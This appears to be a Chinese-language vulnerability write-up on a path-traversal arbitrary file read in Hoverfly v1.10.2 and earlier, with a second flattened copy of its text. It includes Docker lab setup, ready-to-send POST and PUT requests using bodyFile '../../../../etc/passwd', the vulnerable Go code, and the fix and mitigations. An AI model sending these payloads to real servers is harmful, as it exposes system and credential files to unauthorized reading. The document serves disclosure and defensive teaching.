Hoverfly 任意文件读取漏洞分析
字数 1152 2025-08-22 12:23:06

Hoverfly 任意文件读取漏洞分析与教学文档

漏洞概述

Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟工具。在 v1.10.2 及之前版本中,存在一个任意文件读取漏洞,攻击者可以通过构造特定请求读取服务器上的任意文件。

漏洞细节

漏洞位置

漏洞存在于 /api/v2/simulation 接口的 POST 和 PUT 请求处理中,特别是对 bodyFile 参数的处理。

漏洞成因

  1. 系统允许用户通过 bodyFile 参数指定文件路径来创建模拟视图
  2. 虽然代码禁止使用绝对路径(通过 filepath.IsAbs 检查)
  3. 但未对路径中的 ../ 进行过滤,导致目录穿越攻击
  4. 最终通过 filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath) 拼接路径时,攻击者可逃离基本路径限制

影响版本

Hoverfly v1.10.2 及之前版本

环境搭建

使用 Docker 快速搭建漏洞环境:

docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2

验证环境是否成功搭建:访问 http://localhost:8888

漏洞复现

方法一:POST 请求

POST /api/v2/simulation HTTP/1.1
Host: 192.168.177.146:8888
Content-Type: application/json

{
  "data": {
    "pairs": [
      {
        "request": {},
        "response": {
          "bodyFile": "../../../../etc/passwd"
        }
      }
    ]
  },
  "meta": {
    "schemaVersion": "v5.2"
  }
}

限制:只能读取一次,后续请求会因"simulation already exists"错误而失败

方法二:PUT 请求(更优)

PUT /api/v2/simulation HTTP/1.1
Host: 192.168.177.146:8888
Content-Type: application/json

{
  "data": {
    "pairs": [
      {
        "request": {},
        "response": {
          "bodyFile": "../../../../etc/passwd"
        }
      }
    ]
  },
  "meta": {
    "schemaVersion": "v5.2"
  }
}

优势:可以多次使用,因为 PUT 方法会覆盖现有模拟数据

代码分析

请求路由处理

simulation_handler.go 中定义了各种请求方法的路由:

func (this *SimulationHandler) RegisterRoutes(mux *bone.Mux, am *handlers.AuthHandler) {
    mux.Get("/api/v2/simulation", ...)
    mux.Put("/api/v2/simulation", ...)  // 使用Put方法处理
    mux.Post("/api/v2/simulation", ...) // 使用Post方法处理
    mux.Delete("/api/v2/simulation", ...)
    mux.Options("/api/v2/simulation", ...)
}

PUT 方法处理流程

  1. Put 方法调用 addSimulation 并设置 overrideExisting 为 true
  2. 调用 putOrReplaceSimulation 方法
  3. 调用 readResponseBodyFiles 读取文件内容
  4. 调用 readResponseBodyFile 实际读取文件

漏洞关键代码

readResponseBodyFile 函数:

func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
    if filepath.IsAbs(filePath) {  // 仅检查绝对路径
        return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
    }
    // 未检查../等路径穿越字符
    fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
    if err != nil {
        return "", err
    }
    return string(fileContents[:]), nil
}

漏洞修复

修复方法是在路径拼接前增加了 ResolveAndValidatePath 方法,对路径进行解析和验证,防止目录穿越攻击。

安全建议

  1. 升级到最新版本 Hoverfly
  2. 如果无法立即升级,可实施以下缓解措施:
    • 在反向代理层过滤包含 ../ 的请求
    • 限制 Hoverfly 服务运行在低权限用户下
    • 使用容器隔离运行环境
  3. 对所有用户提供的文件路径进行规范化处理
  4. 实施路径白名单验证机制

总结

该漏洞展示了即使有基本路径限制,如果不对路径穿越字符进行过滤,仍然可能导致严重的安全问题。开发人员在处理文件路径时应当:

  1. 规范化路径
  2. 验证路径是否在预期范围内
  3. 考虑使用安全的文件访问API
  4. 实施深度防御策略
Hoverfly 任意文件读取漏洞分析与教学文档 漏洞概述 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟工具。在 v1.10.2 及之前版本中,存在一个任意文件读取漏洞,攻击者可以通过构造特定请求读取服务器上的任意文件。 漏洞细节 漏洞位置 漏洞存在于 /api/v2/simulation 接口的 POST 和 PUT 请求处理中,特别是对 bodyFile 参数的处理。 漏洞成因 系统允许用户通过 bodyFile 参数指定文件路径来创建模拟视图 虽然代码禁止使用绝对路径(通过 filepath.IsAbs 检查) 但未对路径中的 ../ 进行过滤,导致目录穿越攻击 最终通过 filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath) 拼接路径时,攻击者可逃离基本路径限制 影响版本 Hoverfly v1.10.2 及之前版本 环境搭建 使用 Docker 快速搭建漏洞环境: 验证环境是否成功搭建:访问 http://localhost:8888 漏洞复现 方法一:POST 请求 限制 :只能读取一次,后续请求会因"simulation already exists"错误而失败 方法二:PUT 请求(更优) 优势 :可以多次使用,因为 PUT 方法会覆盖现有模拟数据 代码分析 请求路由处理 simulation_handler.go 中定义了各种请求方法的路由: PUT 方法处理流程 Put 方法调用 addSimulation 并设置 overrideExisting 为 true 调用 putOrReplaceSimulation 方法 调用 readResponseBodyFiles 读取文件内容 调用 readResponseBodyFile 实际读取文件 漏洞关键代码 readResponseBodyFile 函数: 漏洞修复 修复方法是在路径拼接前增加了 ResolveAndValidatePath 方法,对路径进行解析和验证,防止目录穿越攻击。 安全建议 升级到最新版本 Hoverfly 如果无法立即升级,可实施以下缓解措施: 在反向代理层过滤包含 ../ 的请求 限制 Hoverfly 服务运行在低权限用户下 使用容器隔离运行环境 对所有用户提供的文件路径进行规范化处理 实施路径白名单验证机制 总结 该漏洞展示了即使有基本路径限制,如果不对路径穿越字符进行过滤,仍然可能导致严重的安全问题。开发人员在处理文件路径时应当: 规范化路径 验证路径是否在预期范围内 考虑使用安全的文件访问API 实施深度防御策略